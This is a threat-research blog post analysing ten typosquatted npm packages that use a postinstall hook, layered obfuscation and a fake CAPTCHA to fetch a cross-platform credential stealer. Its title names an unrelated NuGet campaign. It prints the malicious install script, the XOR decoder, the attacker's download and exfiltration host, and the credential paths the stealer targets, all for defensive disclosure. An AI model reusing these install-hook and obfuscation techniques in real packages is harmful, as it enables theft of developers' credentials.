
Research
Malicious NuGet Packages Typosquat Nethereum to Exfiltrate Wallet Keys
The Socket Threat Research Team uncovered malicious NuGet packages typosquatting the popular Nethereum project to steal wallet keys.


Kush Pandya
October 28, 2025
Socket's Threat Research Team discovered 10 malicious npm packages that deploy a multi-stage credential theft operation. The malware uses four layers of obfuscation to hide its payload, displays a fake CAPTCHA to appear legitimate, fingerprints victims by IP address, and downloads a 24MB PyInstaller-packaged information stealer that harvests credentials from system keyrings, browsers, and authentication services across Windows, Linux, and macOS. The packages were published on July 4, 2025 and have remained live for over four months, accumulating over 9,900 downloads collectively; we have petitioned the npm registry for their removal.
Each package leverages npm's postinstall hook to execute immediately upon installation, launching in a new terminal window to avoid detection during the install process.

Socket's AI Scanner flags the malicious dizcordjs package as "Known malware"
The threat actor andrew_r1 (parvlhonor@gmx[.]com) registered all ten packages under typosquatted names to mimic legitimate libraries.
Typosquatted Packages:
typescriptjs → mimics TypeScriptdeezcord.js, dizcordjs ,dezcord.js → mimics discord.jsetherdjs, ethesjs, ethetsjs → mimics ethers.jsnodemonjs → mimics nodemonreact-router-dom.js → mimics react-router-domzustand.js → mimics zustandThe malicious packages leverage npm's postinstall lifecycle hook to execute automatically when developers run npm install. The package.json configuration ensures the malicious payload runs immediately after installation:
{
  "name": "deezcord.js",
  "version": "1.0.0",
  "main": "app.js",
  "scripts": {
    "postinstall": "node install.js"
  }
}The install.js script detects the victim's operating system and launches the obfuscated payload in a new terminal window:
// Detects platform and spawns new terminal window
const platform = os.platform();
if (platform == 'win32') {
    // Windows: Launch in new command prompt
    exec('start cmd /k "node app.js"');
} else if (platform == 'linux') {
    // Linux: Try gnome-terminal, fallback to x-terminal-emulator
    exec('gnome-terminal -- bash -c "node app.js"', (error) => {
        if (error) exec('x-terminal-emulator -e "bash -c \'node app.js\'"');
    });
} else if (platform == 'darwin') {
    // macOS: Launch in Terminal.app via AppleScript
    exec(`osascript -e 'tell app "Terminal"
        do script "node '$(pwd)/app.js'"  
    end tell'`, () => {});
}By spawning a new terminal window, the malware runs independently of the npm install process. Developers who glance at their terminal during installation see a new window briefly appear, which the malware immediately clears to avoid suspicion.
The app.js file contains heavily obfuscated JavaScript designed to evade static analysis. The threat actor implemented four distinct obfuscation layers:
The outermost layer wraps the entire payload in an immediately-invoked function expression that reconstructs and evaluates itself:
// Top-level IIFE that decodes and executes inner layers
!function(){
  const ghyE = Array.prototype.slice.call(arguments);
  return eval("(function YUFk(HaNc){
    const jIPc = rUwd(HaNc, Hckd(YUFk.toString()));
    // ... decoder functions ...
  })(\"%5E%0A%03%03%0D%15%08%0E%18D_...\")");
}();This technique prevents cursory inspection of the code. The payload only reveals itself at runtime through multiple evaluation steps.
The second layer uses XOR cipher with a dynamically generated key based on hashing the decoder function itself:
// XOR decryption function that uses the decoder's own source as the key
function rUwd(Trzd, nPrd) {
  Trzd = decodeURI(Trzd);  // First decode URI encoding
  let Pmud = 0;
  let Po1d = "";
  for (let LjWd = 0; LjWd < Trzd.length; LjWd++) {
    // XOR each character with the key, cycling through key characters
    Po1d += String.fromCharCode(Trzd.charCodeAt(LjWd) ^ nPrd.charCodeAt(Pmud));
    Pmud++;
    if (Pmud >= nPrd.length) Pmud = 0;  // Wrap around key
  }
  return Po1d;
}The key generation function produces different keys based on the function's source code, making automated decryption difficult without executing the code.
The payload string is URL-encoded (%5E%0A%03%03%0D%15...), requiring URI decoding before XOR decryption. This adds another barrier to static analysis tools that do not implement full JavaScript evaluation.
The decoded code uses switch-case state machines with hexadecimal and octal arithmetic to obscure program flow:
// Control flow obfuscation makes it difficult to follow execution path
var kMvc = (0x75bcd15-0O726746425);  // Evaluates to 0
while(kMvc < (0o1000247%0x10023)) {  // Loop condition with mixed bases
  switch(kMvc) {
    case (0x75bcd15-0O726746425):  // Case 0
      kMvc = condition ? (262270%0o200031) : (0o204576-67939);
      break;
    case (0o203030-67070):  // Case 1
      // Actual logic here
      break;
  }
}The use of mixed number bases (hexadecimal 0x, octal 0o/0O), bitwise operations, and nested state machines makes manual analysis extremely time-consuming.
Upon installation, the malware displays a fake CAPTCHA prompt using Node's readline interface.

ASCII art CAPTCHA prompt displayed in terminal
The CAPTCHA is entirely fake. It serves as social engineering to:
npm install less obviousThe malware then displays output that mimics legitimate package installations. The malware shows messages like "Installing ethers package..." or "Installing discord.js package..." complete with realistic version numbers and contributor counts, making it appear as though legitimate dependencies are being installed.

Screenshot showing fake "Installing discord.js package..." message with authentic-looking package metadata.
Before downloading the main payload, the malware sends the victim's IP address to the threat actor's server at http://195[.]133[.]79[.]43/get_current_ip. This serves multiple purposes:

Wireshark capture showing HTTP GET request to 195[.]133[.]79[.]43/get_current_ip
Once the victim enters any text into the fake CAPTCHA prompt, the malware immediately downloads and executes the data_extracter binary. This happens automatically without requiring any additional user interaction. The malware already detected the victim's operating system in the install.js file using os.platform(), which returns win32, linux, or darwin. This platform information is used to download the appropriate binary variant from the attacker's server. The binary is downloaded from http://195[.]133[.]79[.]43/data_extracter and the entire download and execution process completes in seconds.
This cross-platform approach ensures developers on any operating system receive a fully functional information stealer tailored to their platform's credential storage mechanisms. Windows developers have their Credential Manager harvested, macOS developers have their Keychain extracted, and Linux developers have their SecretService keyrings compromised.
The downloaded data_extracter binary (80552ce00e5d271da870e96207541a4f82a782e7b7f4690baeca5d411ed71edb) is a 24MB PyInstaller-packaged Python application designed for comprehensive credential theft across multiple platforms. Static analysis reveals over 289,000 strings embedded in the binary, indicating extensive functionality and multiple bundled libraries.
PyInstaller bundles Python, all required libraries, and the malicious code into a single executable that runs without requiring Python to be installed on the victim's system. This packaging technique offers several advantages to the threat actor:
The binary is stripped of debug symbols, making reverse engineering more difficult. It's built as an ELF 64-bit LSB executable for GNU/Linux 3.2.0 and later, using standard library dependencies (libdl, libz, libpthread, libc) to maximize compatibility.
The data_extracter binary performs extensive file system operations to locate and extract credentials from common storage locations:
Directory Traversal:
readdir, opendir for recursive directory scanning~/.mozilla/firefox/, ~/Library/Application Support/Firefox/)~/.config/google-chrome/, ~/Library/Application Support/Google/Chrome/)~/.ssh/ containing id_rsa, id_ed25519)~/.aws/credentials, ~/.kube/config, ~/.docker/config.json)~/.config/)Targeted File Extraction:
.env files, .npmrc, .pypirc)The malware systematically scans the file system for credential stores, opening and parsing databases and configuration files to extract authentication information. This includes AWS credentials files that provide access to entire cloud infrastructure, Kubernetes config files with cluster admin tokens, Docker registry credentials for pulling private images, and Git credentials for repository access. The comprehensive file system scan ensures the attacker captures not just interactive credentials but also service account credentials and API keys used for automation and deployment.
The binary targets multiple credential storage mechanisms across all major operating systems, extracting authentication information and sending it back to the attacker's C2 server:
System Keyring Access:
The data_extracter binary includes the keyring library with platform-specific backend implementations:
System keyrings store credentials for critical services including email clients (Outlook, Thunderbird), cloud storage sync tools (Dropbox, Google Drive, OneDrive), VPN connections (Cisco AnyConnect, OpenVPN), password managers, SSH passphrases, database connection strings, and other applications that integrate with the OS credential store. By targeting the keyring directly, the malware bypasses application-level security and harvests stored credentials in their decrypted form. These credentials provide immediate access to corporate email, file storage, internal networks, and production databases.
Browser Data Extraction:
The binary contains Firefox-specific strings and cookie extraction functionality:
Failed to read cookie!")Browser cookies are particularly valuable because they contain active session tokens. Even if a service requires multi-factor authentication, stealing an active session cookie allows the threat actor to impersonate the victim without needing the password or second factor. This provides immediate access to authenticated web applications including GitHub, GitLab, AWS Console, Azure Portal, Google Cloud Console, Jira, Confluence, internal admin panels, and corporate SaaS applications. Session cookies can remain valid for hours, days, or even weeks depending on the service's configuration.
Authentication Token Harvesting:
The malware includes specialized libraries for extracting modern authentication tokens:
oauthlib, lazr.restfulclient.authorize.oauth)jwt.jwks_client, jwt.utils)OAuth and JWT tokens are the primary authentication mechanism for modern APIs and cloud services. Stolen OAuth tokens provide programmatic access to GitHub repositories (read/write/delete code), GitLab projects, cloud infrastructure (AWS, Azure, GCP), CI/CD pipelines (Jenkins, CircleCI, GitHub Actions), container registries (Docker Hub, Amazon ECR), and third-party integrations (Slack, Microsoft Teams, Google Workspace). These tokens can persist for months before expiring, giving threat actors long-term access without triggering password reset notifications. JWT tokens similarly provide authenticated access to microservices, internal APIs, and service-to-service communication within enterprise infrastructure.
Once credentials are harvested, the malware packages them for exfiltration:
Compression and Staging:
/var/tmp, /usr/tmp for staging stolen dataThe malware creates an archive containing keyring exports, browser SQLite databases, configuration files with embedded API keys, OAuth token stores, and SSH private keys. This compressed archive is then transmitted back to the threat actor's server at 195[.]133[.]79[.]43, providing them with a complete credential dump from the compromised system.
This malware demonstrates multiple advanced techniques rarely seen together in npm supply chain attacks. The campaign combines four layers of obfuscation (eval wrapping, XOR encryption, URL encoding, and control flow obfuscation), social engineering via fake CAPTCHA and fake legitimate package installations, IP fingerprinting for victim tracking, platform-specific PyInstaller malware, cross-platform credential theft across Windows, Linux, and macOS, professional C2 infrastructure, and automated execution with no additional user interaction after the fake CAPTCHA prompt.
Organizations should immediately audit their dependencies for the 10 malicious packages listed in the IOCs section:
195[.]133[.]79[.]43, and any additional persistence mechanisms that may have been installed should be identified and removed.Socket provides multiple tools to defend against these supply chain attacks. The free GitHub app scans pull requests for malicious packages before they enter your codebase, while the Socket CLI inspects dependencies during installations to detect anomalies before they compromise a project. The Socket browser extension warns users of suspicious downloads in real time as they browse npm. For enterprise teams, Socket Firewall provides real-time protection by blocking malicious packages before they can be installed, enforcing security policies across your organization's entire dependency chain. Deploying these tools within development workflows substantially reduces supply chain threats and safeguards against sophisticated credential theft attacks like this campaign.
deezcord.jsdezcord.jsdizcordjsetherdjsethesjsethetsjsnodemonjsreact-router-dom.jstypescriptjszustand.js195[.]133[.]79[.]43data_extracter80552ce00e5d271da870e96207541a4f82a782e7b7f4690baeca5d411ed71edbnpm Alias: andrew_r1
Email Address: parvlhonor@gmx[.]com
T1195.002 — Supply Chain Compromise: Compromise Software Supply ChainT1027 — Obfuscated Files or InformationT1027.002 — Obfuscated Files or Information: Software PackingT1204.002 — User Execution: Malicious FileT1059.007 — Command and Scripting Interpreter: JavaScriptT1059.004 — Command and Scripting Interpreter: Unix ShellT1059.006 — Command and Scripting Interpreter: PythonT1555 — Credentials from Password StoresT1555.003 — Credentials from Password Stores: Credentials from Web BrowsersT1555.001 — Credentials from Password Stores: KeychainT1539 — Steal Web Session CookieT1552.001 — Unsecured Credentials: Credentials In FilesT1552.004 — Unsecured Credentials: Private KeysT1071.001 — Application Layer Protocol: Web ProtocolsT1041 — Exfiltration Over C2 ChannelT1560.001 — Archive Collected Data: Archive via UtilityT1027.009 — Obfuscated Files or Information: Embedded PayloadsT1140 — Deobfuscate/Decode Files or InformationT1082 — System Information DiscoveryT1083 — File and Directory DiscoverySubscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now

Research
The Socket Threat Research Team uncovered malicious NuGet packages typosquatting the popular Nethereum project to steal wallet keys.

Research
/Security News
The Socket Threat Research Team uncovered a coordinated campaign that floods the Chrome Web Store with 131 rebranded clones of a WhatsApp Web automation extension to spam Brazilian users.

Research
/Security News
Socket researchers uncover how threat actors weaponize Discord across the npm, PyPI, and RubyGems ecosystems to exfiltrate sensitive data.